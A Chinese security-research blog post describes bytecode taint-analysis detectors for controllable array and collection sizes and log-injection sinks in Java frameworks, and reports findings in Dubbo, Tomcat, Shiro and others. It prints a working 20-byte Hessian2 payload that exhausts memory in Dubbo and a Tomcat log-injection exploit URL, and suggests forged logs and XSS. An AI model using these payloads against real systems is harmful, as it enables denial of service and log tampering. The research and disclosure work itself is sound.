数组初始化检测
这部分是重点，因为三梦师傅挖到的JDK漏洞以及Weblogic的CVE都是这种类型
所以我重点关注了该部分的功能
首先下面这两种数组初始化的字节码是不同的
int size = 10; byte[] a = new byte[size]; Object[] o = new Object[size];
对应字节码如下，可以看到分别使用NEWARRAY和ANEWARRAY指令
BIPUSH 10 ISTORE 1 ... ILOAD 1 NEWARRAY T_BYTE ... ILOAD 1 ANEWARRAY java/lang/Object
前两步类似以上内容，不再多说
- 在
visitCode方法中对每个参数设置污染 - 在
visitMethodInsn方法中处理污染的传递
第一种指令处理，对比上文的字节码可以很容易地读懂以下代码
@Override public void visitIntInsn(int opcode, int operand) { // 普通类型数组初始化指令NEWARRAY if (opcode == Opcodes.NEWARRAY) { // 该指令执行会弹栈获取参数 // 这个参数正是数组初始化容量 // 所以此时栈顶元素如果是污点，则数组初始化容量可控 if (operandStack.get(0).contains("source")) { if (Command.debug) { logger.info("find array dos: " + this.owner + "." + this.name); } // 记录结果 arrayDoSResults.add(new DoSResult( this.classReference, this.methodReference, DoSResult.ARRAY_TYPE)); } } super.visitIntInsn(opcode, operand); }
另一种指令照猫画虎，注意重写方法名是：visitTypeInsn
@Override public void visitTypeInsn(int opcode, String type) { if (opcode == Opcodes.ANEWARRAY) { if (operandStack.get(0).contains("source")) { if (Command.debug) { logger.info("find array dos: " + this.owner + "." + this.name); } arrayDoSResults.add(new DoSResult( this.classReference, this.methodReference, DoSResult.ARRAY_TYPE)); } } super.visitTypeInsn(opcode, type); }
代码不多，以下是我对Apache Dubbo的检测结果
看似一团乱麻，实际上我根据经验，这种数据可控初始化长度的代码很有可能出现在反序列化和序列化的功能中，于是我检测搜索了下Hessian关键字，发现了基础有意思的地方
当我人工分析到com/alibaba/com/caucho/hessian/io/BasicDeserializer类的readObject方法时，发现下面这样的代码，这基本就是明写着数组初始化容量可控
case 0x1d: case 0x1e: case 0x1f: // 反序列化中计算得出的某个长度值 int length = code - 0x10; in.readInt(); // 长度传入了该方法 return readLengthList(in, length);
在该方法中，存在大量以下这样的代码，用于反序列化数组
- 数组初始化容量可控
- for循环条件也可控
case INTEGER_ARRAY: { // length可控导致OOM int[] data = new int[length]; in.addRef(data); // 另外for循环条件也可控 for (int i = 0; i < data.length; i++) data[i] = in.readInt(); return data; }
所以说这里一定会存在问题，接下来是构造Payload产生OOM的DOS了
简单阅读了下Hessian2的源码，通过20字节的数据包即可导致OOM（这里就不分析了）
代码如下
public static void main(String[] args) throws Exception { byte[] payload = new byte[]{ (byte) 0x70, (byte) 0x02, (byte) 0x00, (byte) 0x56, (byte) 0x07, (byte) 0x5B, (byte) 0x6F, (byte) 0x62, (byte) 0x6A, (byte) 0x65, (byte) 0x63, (byte) 0x74, (byte) 0x49, (byte) 0x7D, (byte) 0x2B, (byte) 0x75, (byte) 0x00, (byte) 0x4E, (byte) 0x4E, (byte) 0x4E }; ByteArrayInputStream is = new ByteArrayInputStream(payload); Hessian2Input in = new Hessian2Input(is); in.startMessage(); in.readObject(); in.completeMessage(); in.close(); }
值得一说的是，一个反序列化常见的方法readExternal中经常出现这种问题。例如三梦师傅文章中的很多DOS都是该方法中的问题。在扫描Spring-WebFlow框架中，我也发现了该问题，不过简单分析源码后发现这是一个内部的操作，完全不可控，不算漏洞
另外在三个Apache冷门框架中也发现了该问题，提交后还没有回复我
集合初始化检测
参考ArrayList的构造方法源码，确实存在问题
public ArrayList(int initialCapacity) { if (initialCapacity > 0) { // OOM this.elementData = new Object[initialCapacity]; } else if (initialCapacity == 0) { this.elementData = EMPTY_ELEMENTDATA; } else { throw new IllegalArgumentException("Illegal Capacity: "+ initialCapacity); } }
代码也都类似，不再放重复的部分
// 传递一个int参数的ArrayList构造方法 boolean listInit = (opcode == Opcodes.INVOKESPECIAL) && (owner.equals("java/util/ArrayList")) && (name.equals("<init>")) && (desc.equals("(I)V")); if (listInit) { // 这个int参数是否是污染 if (operandStack.get(0).contains("source")) { if (Command.debug) { logger.info("find list dos: " + this.owner + "." + this.name); } listDoSResults.add(new DoSResult( this.classReference, this.methodReference, DoSResult.LIST_TYPE)); super.visitMethodInsn(opcode, owner, name, desc, itf); return; } }
参考HashMap的构造方法源码，这里有一个MAXIMUM_CAPACITY限制，所以可能不存在OOM这种DoS
public HashMap(int initialCapacity, float loadFactor) { if (initialCapacity < 0) throw new IllegalArgumentException("Illegal initial capacity: " + initialCapacity); if (initialCapacity > MAXIMUM_CAPACITY) initialCapacity = MAXIMUM_CAPACITY; if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new IllegalArgumentException("Illegal load factor: " + loadFactor); this.loadFactor = loadFactor; this.threshold = tableSizeFor(initialCapacity); }
拓展：Log4j2检测
这里的检测并不是从依赖层面的检测，而是对于精准的触发点检测：例如某个类的某个方法的日志内容可控，因此可能存在Log4j2Shell漏洞。这并不是没有意义的，相对于盲打，也许存在一定的意义
对某一方法检测：是否存在参数能影响到Log4j2传入参数
进而结合人工分析是否存在Lo4j2Shell漏洞
@Override public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { // org.apache.logging.log4j.Logger boolean log4jMatches = (opcode == Opcodes.INVOKEINTERFACE) && (owner.equals("org/apache/logging/log4j/Logger")) && ((name.equals("error")) || name.equals("warn") || name.equals("info")); if (log4jMatches) { if (operandStack.get(0).contains("source")) { if (Command.debug) { logger.info("find log4j2: " + this.owner + "." + this.name); } logResults.add(new LogResult(this.classReference, this.methodReference)); super.visitMethodInsn(opcode, owner, name, desc, itf); return; } } }
拓展：日志注入
前段时间Spring框架爆出日志注入的CVE
CVE-2021-22096 and CVE-2021-22060:
https://tanzu.vmware.com/security/cve-2021-22096
https://tanzu.vmware.com/security/cve-2021-22060
在OWASP网站中有相关介绍:https://owasp.org/www-community/attacks/Log_Injection
核心检测代码实现
// org.slf4j.Logger boolean slf4jMatches = (opcode == Opcodes.INVOKEINTERFACE) && (owner.equals("org/slf4j/Logger")) && ((name.equals("error")) || name.equals("warn") || name.equals("info")) && ((desc.equals("(Ljava/lang/String;Ljava/lang/Object;)V")) || desc.equals("(Ljava/lang/String;)V")); // org.apache.logging.log4j.Logger boolean log4jMatches = (opcode == Opcodes.INVOKEINTERFACE) && (owner.equals("org/apache/logging/log4j/Logger")) && ((name.equals("error")) || name.equals("warn") || name.equals("info")); // org.apache.juli.logging.Log; boolean tomcatMatches = owner.equals("org/apache/juli/logging/Log") && ((name.equals("error")) || name.equals("warn") || name.equals("info")); // org.apache.dubbo.common.logger.Logger boolean dubboMatches = owner.equals("org/apache/dubbo/common/logger/Logger") && ((name.equals("error")) || name.equals("warn") || name.equals("info")); if (slf4jMatches || tomcatMatches || log4jMatches || dubboMatches) { if (operandStack.get(0).contains("source")) { if (Command.debug) { logger.info("find log inject: " + this.owner + "." + this.name); } logResults.add(new LogResult(this.classReference, this.methodReference)); super.visitMethodInsn(opcode, owner, name, desc, itf); return; } }
扫描发现很多框架都存在这个问题
上个月我向Tomcat和Shiro也报告了该问题：Tomcat如果开启调试日志且启用CSRF防御，则存在漏洞
以下是Tomcat报告的内容和回复
A simple test of Tomcat Log Library
import org.apache.juli.logging.Log; import org.apache.juli.logging.LogFactory; public class Main { public static void main(String[] args) { Log log = LogFactory.getLog(Main.class); log.error("test\nSEVERE: evil log"); } }
Output
SEVERE: test SEVERE: evil log
The above proves that the Tomcat log library does not handle malicious characters, so I try to find the place of vulnerability injection in the Tomcat source code
org\apache\catalina\filters\CsrfPreventionFilter.java
request path is a controllable variable
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { ... if (!skipNonceCheck) { String previousNonce = req.getParameter(nonceRequestParameterName); ... if(previousNonce == null) { if(log.isDebugEnabled()) { // path is a controllable variable log.debug("Rejecting request for " + getRequestedPath(req) + ", session " + (null == session ? "(none)" : session.getId()) + " with no CSRF nonce found in request"); } ...
Exploit
http://127.0.0.1:8080/test%0a01-Feb-2022%2011:02:30.432%20FINE%20%5bhttp-nio-8080-exec-6%5d%20evil%20log%20%0a
(url decode value: test\n01-Feb-2022 11:02:30.432 FINE [http-nio-8080-exec-6] evil log\n)
On the exploitation of vulnerabilities: for example, add some confused logs, such as forged IP, forged classes, forged error reports and exceptions, which brings trouble to the operation and maintenance personnel and auditors. Further, if there is an internal log analysis platform, and the xxx is wrapped by the script tag, that is, JavaScript code, the platform reading the log may have XSS vulnerabilities. Other exploitation of vulnerabilities refer to OWASP:https://owasp.org/www-community/attacks/Log_Injection
You can refer to the repair of spring
Apache Tomcat认为该问题不算是漏洞，但确实是一个问题
总结
最后一篇炒冷饭文章了，以后不会写这种技术相关的文章了
另外已经开学，没有时间写文章，应付学校事情了
还有更多的漏洞提交与回复，为避免文章又臭又长，所以简单选取其中比价有价值的部分展示和分析
工具代码：
https://github.com/4ra1n/DoSer
鸡肋成果：
- Apache Dubbo 拒绝服务漏洞（能复现有危害，官方不修复因为影响性能）
- Alibaba Druid 拒绝服务漏洞（触发条件较高，能复现有危害，官方不认）
- Apache Shiro 日志注入漏洞（官方认可，但认为该漏洞应该报告给Log4j）
- Apache Hadoop 日志注入漏洞（官方认可，但由于危害过低不给CVE）
- Apache Log4j2 日志注入漏洞（官方认为这不是漏洞，而是一种功能的改进）
- Apache Tomcat 日志注入漏洞（官方认为这不是漏洞，而是一种功能的改进）
- Apache ActiveMQ/Apache Kafka/Apache Commons/...（不回复）
作者刚入门，经验不足，所以只能搞下鸡肋漏洞。如果是经验丰富的师傅，根据该原理也许可以批量挖高危洞
